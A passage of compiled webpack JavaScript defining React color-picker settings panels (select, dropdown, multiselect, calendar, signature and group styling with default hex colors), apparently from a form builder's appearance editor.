function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var SelectColors = function (_Component) {
_inherits(SelectColors, _Component);
function SelectColors(props) {
_classCallCheck(this, SelectColors);
return _possibleConstructorReturn(this, (SelectColors.__proto__ || Object.getPrototypeOf(SelectColors)).call(this, props));
}
_createClass(SelectColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-border-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-background-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-icon-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-value-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Hover'),
value: 'hover'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-border-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-background-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-icon-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-value-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Focus'),
value: 'focus'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-border-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-background-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-icon-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-value-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
}))
),
this.props.formDesign !== 'material' && _react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Error'),
value: 'error'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'select-border-error',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
isAlpha: true
}))
)
);
}
}]);
return SelectColors;
}(_react.Component);
exports.default = SelectColors;
/***/ }),
/* 270 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var DropdownColors = function (_Component) {
_inherits(DropdownColors, _Component);
function DropdownColors(props) {
_classCallCheck(this, DropdownColors);
return _possibleConstructorReturn(this, (DropdownColors.__proto__ || Object.getPrototypeOf(DropdownColors)).call(this, props));
}
_createClass(DropdownColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
this.props.formDesign !== 'flat' && this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-border',
label: (0, _utils.translate)('Container border'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-background',
label: (0, _utils.translate)('Container BG'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-option-color-static',
label: (0, _utils.translate)('Option color')
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Hover'),
value: 'hover'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#DDDDDD"),
property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-option-background-hover',
label: (0, _utils.translate)('Option background'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-option-color-hover',
label: (0, _utils.translate)('Option color')
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Selected'),
value: 'selected'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-option-background-active',
label: (0, _utils.translate)('Option background'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF"),
property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-option-color-active',
label: (0, _utils.translate)('Option color')
}))
)
);
}
}]);
return DropdownColors;
}(_react.Component);
exports.default = DropdownColors;
/***/ }),
/* 271 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var SearchColors = function (_Component) {
_inherits(SearchColors, _Component);
function SearchColors(props) {
_classCallCheck(this, SearchColors);
return _possibleConstructorReturn(this, (SearchColors.__proto__ || Object.getPrototypeOf(SearchColors)).call(this, props));
}
_createClass(SearchColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
this.props.formDesign !== 'flat' && this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-search-border',
label: (0, _utils.translate)('Border color'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF"),
property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-search-background',
label: (0, _utils.translate)('Background color'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-search-color',
label: (0, _utils.translate)('Text color')
}))
);
}
}]);
return SearchColors;
}(_react.Component);
exports.default = SearchColors;
/***/ }),
/* 272 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var MultiSelectColors = function (_Component) {
_inherits(MultiSelectColors, _Component);
function MultiSelectColors(props) {
_classCallCheck(this, MultiSelectColors);
return _possibleConstructorReturn(this, (MultiSelectColors.__proto__ || Object.getPrototypeOf(MultiSelectColors)).call(this, props));
}
_createClass(MultiSelectColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-border',
label: this.props.formDesign !== 'material' ? (0, _utils.translate)('Container border') : (0, _utils.translate)('Option border'),
isAlpha: true
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-background',
label: (0, _utils.translate)('Container BG'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-item-color-static',
label: (0, _utils.translate)('Option color')
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Hover'),
value: 'hover'
},
this.props.formDesign === 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-border-hover',
label: (0, _utils.translate)('Option border'),
isAlpha: true
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#DDDDDD"),
property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-item-bg-hover',
label: (0, _utils.translate)('Option background'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-item-color-hover',
label: (0, _utils.translate)('Option color')
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Selected'),
value: 'selected'
},
this.props.formDesign === 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-border-active',
label: (0, _utils.translate)('Option border'),
isAlpha: true
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-item-bg-active',
label: (0, _utils.translate)('Option background'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: this.props.formDesign !== 'material' ? '#FFFFFF' : '#17A8E3',
property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-item-color-active',
label: (0, _utils.translate)('Option color')
}))
),
this.props.formDesign !== 'material' && _react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Error'),
value: 'error'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-border-error',
label: (0, _utils.translate)('Container border'),
isAlpha: true
}))
)
);
}
}]);
return MultiSelectColors;
}(_react.Component);
exports.default = MultiSelectColors;
/***/ }),
/* 273 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var CalendarColors = function (_Component) {
_inherits(CalendarColors, _Component);
function CalendarColors(props) {
_classCallCheck(this, CalendarColors);
return _possibleConstructorReturn(this, (CalendarColors.__proto__ || Object.getPrototypeOf(CalendarColors)).call(this, props));
}
_createClass(CalendarColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'container',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Container'),
value: 'container'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: this.props.formDesign !== '' ? (0, _utils.translate)('Border') : (0, _utils.translate)('Header background'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-border',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: this.props.formDesign !== '' ? (0, _utils.translate)('Background') : (0, _utils.translate)('Main background'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-background',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
isAlpha: true
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Navigation'),
value: 'navigation'
},
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Arrows background'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-arrows-bg',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Arrows color'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-arrows-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF"),
isAlpha: true
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Select'),
value: 'select'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-select-border',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#BBBBBB"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-select-bg',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Color'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-select-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
}))
)
);
}
}]);
return CalendarColors;
}(_react.Component);
exports.default = CalendarColors;
/***/ }),
/* 274 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Signature = function (_Component) {
_inherits(Signature, _Component);
function Signature(props) {
_classCallCheck(this, Signature);
return _possibleConstructorReturn(this, (Signature.__proto__ || Object.getPrototypeOf(Signature)).call(this, props));
}
_createClass(Signature, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
value: 'default',
label: (0, _utils.translate)('Default')
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'signature-border-default',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'signature-background-default',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Placeholder'),
property: (0, _utils.getThemePrefix)(this.props) + 'signature-placeholder',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Signature Color'),
property: (0, _utils.getThemePrefix)(this.props) + 'signature-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Reset icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'signature-reset-icon-default',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
}))
),
_react2.default.createElement(
_container2.default,
{
value: 'hover',
label: (0, _utils.translate)('Hover')
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'signature-border-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'signature-background-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Reset icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'signature-reset-icon-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
}))
),
_react2.default.createElement(
_container2.default,
{
value: 'error',
label: (0, _utils.translate)('Error')
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'signature-border-error',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562")
}))
)
);
}
}]);
return Signature;
}(_react.Component);
exports.default = Signature;
/***/ }),
/* 275 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var GroupColors = function (_Component) {
_inherits(GroupColors, _Component);
function GroupColors(props) {
_classCallCheck(this, GroupColors);
return _possibleConstructorReturn(this, (GroupColors.__proto__ || Object.getPrototypeOf(GroupColors)).call(this, props));
}
_createClass(GroupColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "rgba(248,248,248,.5)"),
property: (0, _utils.getThemePrefix)(this.props) + 'group-background',
label: (0, _utils.translate)('Background color'),
